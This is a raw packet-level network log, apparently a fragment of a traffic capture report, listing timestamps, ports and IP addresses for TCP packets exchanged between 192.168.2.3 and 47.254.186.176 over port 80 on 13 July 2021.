Jul 13, 2021 14:37:53.915338039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915344000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.915364981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915374994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.915381908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915397882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915411949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915419102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.915431023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915442944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.915447950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915462971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915478945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915494919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915513039 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.915544033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.915682077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.915821075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.915823936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.915880919 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916074991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916100979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916116953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916134119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916142941 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916147947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916163921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916178942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916184902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916198969 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916249037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916271925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916286945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916286945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916306019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916318893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916343927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916361094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916402102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916405916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916423082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916434050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916445971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916457891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916470051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916486025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916501045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916517019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916544914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916563034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916568995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916578054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916579962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916595936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.916611910 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916641951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.916960955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917103052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917118073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917135954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917151928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917166948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917185068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917203903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917216063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917220116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917236090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917251110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917265892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917275906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917280912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917303085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917308092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917321920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917339087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917355061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917370081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917373896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917387009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917402029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917407036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917417049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917433023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917438984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917450905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917468071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.917870045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.917929888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918041945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918067932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918098927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918109894 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918224096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918239117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918273926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918293953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918346882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918365002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918381929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918405056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918462992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918479919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918495893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918514967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918531895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918531895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918546915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918562889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918576956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918585062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918592930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918608904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918621063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918637991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918642044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918654919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918669939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918689966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918708086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918765068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918782949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918797970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918816090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.918836117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.918864012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919163942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919382095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919459105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919501066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919584036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919600010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919661999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919677973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919680119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919702053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919708014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919739008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919745922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919764042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919780016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919795990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919810057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919817924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919826984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919842958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919851065 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919868946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919874907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919891119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919908047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919924021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919930935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919940948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919956923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.919959068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.919981003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920059919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920273066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920289993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920305967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920322895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920325994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920342922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920361996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920380116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920409918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920443058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920459986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920475960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920484066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920505047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920506001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920542002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920548916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920620918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920640945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920658112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920674086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920684099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920722008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920725107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920737982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920756102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920763016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920773983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920789957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920799971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920805931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920824051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920835972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920839071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920855999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920862913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920871019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920891047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.920914888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.920948982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.921355963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921530962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921582937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921612978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921628952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921631098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.921646118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921662092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921679020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.921688080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921726942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.921758890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921776056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.921777964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921796083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921811104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.921813011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.921849966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.922347069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922362089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922380924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922400951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.922421932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922501087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922499895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.922518015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922533989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922549963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922584057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922585964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.922653913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922669888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922684908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.922733068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.922740936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.923269987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923346043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923384905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923671961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923688889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923718929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.923722029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923755884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.923785925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923816919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923856020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.923888922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923904896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923923969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923940897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923962116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.923979044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.923981905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.924061060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924101114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924139023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.924366951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924542904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924559116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924583912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924607992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.924626112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924653053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924669027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924685001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924699068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924705029 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.924717903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924735069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924736977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.924750090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.924781084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.925380945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925399065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925446987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.925507069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925545931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925627947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925640106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.925643921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925662994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.925745010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925760984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925776958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925792933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.925812960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.925822020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925900936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.925940037 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.925968885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926404953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926420927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926436901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926449060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.926453114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926481009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926485062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.926496983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926516056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926541090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.926567078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.926583052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926600933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926640034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.926668882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926784992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926865101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.926908970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.927304029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927320957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927356958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927373886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927405119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.927408934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927424908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927453041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927454948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.927469015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927485943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927525043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.927557945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927575111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927671909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.927711964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.928164959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.928230047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.928271055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.928322077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.928324938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.928889036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.928941011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.928986073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.928992033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929018974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:53.929023027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:53.929039001 CEST	80	49757	47.254.186.176	192.168.2.3
